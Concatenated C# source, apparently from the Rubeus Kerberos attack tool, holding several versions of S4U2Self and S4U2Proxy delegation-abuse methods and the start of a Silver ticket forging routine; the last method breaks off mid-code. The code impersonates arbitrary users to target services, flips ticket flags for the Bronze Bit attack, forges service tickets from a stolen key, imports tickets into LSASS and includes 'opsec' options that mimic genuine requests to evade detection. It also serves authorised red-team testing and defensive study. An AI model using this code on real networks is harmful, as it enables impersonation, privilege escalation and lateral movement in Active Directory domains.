private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null, bool opsec = false, string proxyUrl = null, string createnetonly = null, bool show = false) { Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); if (altSnames.Length == 1) { Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService); } else { Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService); } } // extract out the info needed for the TGS-REQ/S4U2Proxy execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); TGS_REQ s4u2proxyReq = new TGS_REQ(!opsec); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION; s4u2proxyReq.req_body.realm = domain; string[] parts = targetSPN.Split('/'); string serverName = parts[parts.Length - 1]; s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; foreach (string part in parts) { s4u2proxyReq.req_body.sname.name_string.Add(part); } // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(tgs.tickets[0]); // needed for authenticator checksum byte[] cksum_Bytes = null; // the rest of the opsec changes if (opsec) { // remove renewableok and add canonicalize s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; // 15 minutes in the future like genuine requests DateTime till = DateTime.Now; till = till.AddMinutes(15); s4u2proxyReq.req_body.till = till; // extra etypes s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); // get hostname and hostname of SPN string hostName = Dns.GetHostName().ToUpper(); string targetHostName; if (parts.Length > 1) { targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper(); } else { targetHostName = hostName; } // create enc-authorization-data if target host is not the local machine if (hostName != targetHostName) { // authdata requires key and etype from tgs byte[] tgsKey = tgs.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE tgsEtype = (Interop.KERB_ETYPE)tgs.enc_part.ticket_info[0].key.keytype; ADIfRelevant ifrelevant = new ADIfRelevant(); ADRestrictionEntry restrictions = new ADRestrictionEntry(); ADKerbLocal kerbLocal = new ADKerbLocal(); ifrelevant.ADData.Add(restrictions); ifrelevant.ADData.Add(kerbLocal); AsnElt authDataSeq = ifrelevant.Encode(); authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq); byte[] authorizationDataBytes = authDataSeq.Encode(); byte[] enc_authorization_data = Crypto.KerberosEncrypt(tgsEtype, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, tgsKey, authorizationDataBytes); s4u2proxyReq.req_body.enc_authorization_data = new EncryptedData((Int32)tgsEtype, enc_authorization_data); } // encode req_body for authenticator cksum AsnElt req_Body_ASN = s4u2proxyReq.req_body.Encode(); AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue(); cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5); } // moved to end so we can have the checksum in the authenticator PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype, opsec, cksum_Bytes); s4u2proxyReq.padata.Add(padata); PA_DATA pac_options = new PA_DATA(false, false, false, true); s4u2proxyReq.padata.Add(pac_options); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); byte[] response2 = null; if (String.IsNullOrEmpty(proxyUrl)) { string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return; } Console.WriteLine("[*] Sending S4U2proxy request to domain controller {0}:88", dcIP); response2 = Networking.SendBytes(dcIP, 88, s4ubytes); } else { Console.WriteLine("[*] Sending S4U2proxy request via KDC proxy: {0}", proxyUrl); KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(s4ubytes); message.target_domain = domain; response2 = Networking.MakeProxyRequest(proxyUrl, message); } if (response2 == null) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response2, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); foreach (string altSname in altSnames) { // now build the final KRB-CRED structure with one or more alternate snames KRB_CRED cred = new KRB_CRED(); // since we want an alternate sname, first substitute it into the ticket structure rep2.ticket.sname.name_string[0] = altSname; // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname); info.sname.name_string[0] = altSname; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } } } else { // now build the final KRB-CRED structure, no alternate snames KRB_CRED cred = new KRB_CRED(); // if we want an alternate sname, first substitute it into the ticket structure if (!String.IsNullOrEmpty(altService)) { rep2.ticket.sname.name_string[0] = altService; } // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } } } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } }
private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", bool self = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial, string proxyUrl = null, string createnetonly = null, bool show = false) { // extract out the info needed for the TGS-REQ/S4U2Self execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain); byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec); byte[] response = null; if (String.IsNullOrEmpty(proxyUrl)) { string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } Console.WriteLine("[*] Sending S4U2self request to {0}:88", dcIP); response = Networking.SendBytes(dcIP, 88, tgsBytes); } else { Console.WriteLine("[*] Sending S4U2self request via KDC proxy: {0}", proxyUrl); KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(tgsBytes); message.target_domain = domain; response = Networking.MakeProxyRequest(proxyUrl, message); } if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { Console.WriteLine("[+] S4U2self success!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // if we want to use this s4u2self ticket for authentication, change the sname if (!String.IsNullOrEmpty(altService) && self) { rep.ticket.sname.name_string[0] = altService.Split('/')[0]; rep.ticket.sname.name_string.Add(altService.Split('/')[1]); } // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; if (bronzebit && !String.IsNullOrEmpty(keyString)) { Console.WriteLine("[*] Bronze Bit flag passed, flipping forwardable flag on. Original flags: {0}", info.flags); info.flags |= Interop.TicketFlags.forwardable; // get user longterm key from keyString byte[] key = Helpers.StringToByteArray(keyString); // decrypt and decode ticket encpart var decTicketPart = rep.ticket.Decrypt(key, null, true); // modify flags decTicketPart.flags |= Interop.TicketFlags.forwardable; // encode and encrypt ticket encpart byte[] encTicketData = decTicketPart.Encode().Encode(); byte[] encTicketPart = Crypto.KerberosEncrypt((Interop.KERB_ETYPE)rep.ticket.enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData); rep.ticket.enc_part = new EncryptedData(rep.ticket.enc_part.etype, encTicketPart, rep.ticket.enc_part.kvno); Console.WriteLine("[*] Flags changed to: {0}", info.flags); } // add the ticket cred.tickets.Add(rep.ticket); // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // if we want to use the s4u2self change the sname here too if (!String.IsNullOrEmpty(altService) && self) { Console.WriteLine("[*] Substituting alternative service name '{0}'", altService); info.sname.name_string[0] = altService.Split('/')[0]; info.sname.name_string.Add(altService.Split('/')[1]); } // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm); Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } Console.WriteLine(""); if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt && self) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } return(cred); } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
private static Ticket S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "") { // extract out the info needed for the TGS-REQ/S4U2Self execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain); byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser); Console.WriteLine("[*] Sending S4U2self request"); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] S4U2self success!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm); Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } Console.WriteLine(""); if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } return(rep.ticket); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", Ticket tgs = null) { Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); if (altSnames.Length == 1) { Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService); } else { Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService); } } // extract out the info needed for the TGS-REQ/S4U2Proxy execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return; } Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); TGS_REQ s4u2proxyReq = new TGS_REQ(); PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype); s4u2proxyReq.padata.Add(padata); PA_DATA pac_options = new PA_DATA(false, false, false, true); s4u2proxyReq.padata.Add(pac_options); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT; s4u2proxyReq.req_body.realm = domain; string[] parts = targetSPN.Split('/'); string serverName = parts[parts.Length - 1]; s4u2proxyReq.req_body.sname.name_type = 2; foreach (string part in parts) { s4u2proxyReq.req_body.sname.name_string.Add(part); } // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(tgs); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); Console.WriteLine("[*] Sending S4U2proxy request"); byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes); if (response2 == null) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response2, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); foreach (string altSname in altSnames) { // now build the final KRB-CRED structure with one or more alternate snames KRB_CRED cred = new KRB_CRED(); // since we want an alternate sname, first substitute it into the ticket structure rep2.ticket.sname.name_string[0] = altSname; // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname); info.sname.name_string[0] = altSname; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new Interop.LUID()); } } } else { // now build the final KRB-CRED structure, no alternate snames KRB_CRED cred = new KRB_CRED(); // if we want an alternate sname, first substitute it into the ticket structure if (!String.IsNullOrEmpty(altService)) { rep2.ticket.sname.name_string[0] = altService; } // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new Interop.LUID()); } } } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } }
public static void Silver(string user, string sname, string keyString, Interop.KERB_ETYPE etype, string domain = "", string outfile = null, bool ptt = false, Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent) { // determine domain if not supplied string[] parts = sname.Split('/'); if (String.IsNullOrEmpty(domain)) { if ((parts.Length > 1) && (parts[0] == "krbtgt")) { Console.WriteLine("[X] Referral TGT requires /domain to be passed."); return; } else if ((parts.Length == 1) && (sname.Split('@').Length == 1)) { Console.WriteLine("[X] SPN has to be in the format 'svc/host.domain.com' or '*****@*****.**'."); return; } else if (parts.Length > 1) { domain = parts[1].Substring(parts[1].IndexOf('.') + 1); string[] domainParts = domain.Split(':'); if (domainParts.Length > 1) { domain = domainParts[0]; } } else if (sname.Split('@').Length > 1) { domain = sname.Split('@')[1]; } else { Console.WriteLine("[X] SPN is in a unsupported format: {0}.", sname); return; } } // initialize some structures KRB_CRED cred = new KRB_CRED(); KrbCredInfo info = new KrbCredInfo(); // generate a random session key Random random = new Random(); byte[] randKeyBytes; if (etype == Interop.KERB_ETYPE.rc4_hmac) { randKeyBytes = new byte[16]; random.NextBytes(randKeyBytes); } else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { randKeyBytes = new byte[32]; random.NextBytes(randKeyBytes); } else { Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!"); return; } EncTicketPart decTicketPart = new EncTicketPart(randKeyBytes, etype, domain.ToUpper(), user, flags); // get the key from keyString byte[] key = Helpers.StringToByteArray(keyString); // encrypt the EncTicketPart byte[] encTicketData = decTicketPart.Encode().Encode(); byte[] encTicketPart = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData); // initialize the ticket and add the enc_part Ticket ticket = new Ticket(domain.ToUpper(), sname); ticket.enc_part = new EncryptedData((Int32)etype, encTicketPart, 3); // add the ticket cred.tickets.Add(ticket); // [0] add in the session key info.key.keytype = (int)etype; info.key.keyvalue = randKeyBytes; // [1] prealm (domain) info.prealm = decTicketPart.crealm; // [2] pname (user) info.pname.name_type = decTicketPart.cname.name_type; info.pname.name_string = decTicketPart.cname.name_string; // [3] flags info.flags = flags; // [4] authtime (not required) info.authtime = decTicketPart.authtime; // [5] starttime info.starttime = decTicketPart.starttime; // [6] endtime info.endtime = decTicketPart.endtime; // [7] renew-till info.renew_till = decTicketPart.renew_till; // [8] srealm info.srealm = ticket.realm; // [9] sname info.sname.name_type = ticket.sname.name_type; info.sname.name_string = ticket.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] Forged a TGS for '{0}' to '{1}'", info.pname.name_string[0], sname); Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); if (Program.wrapTickets) { // display the 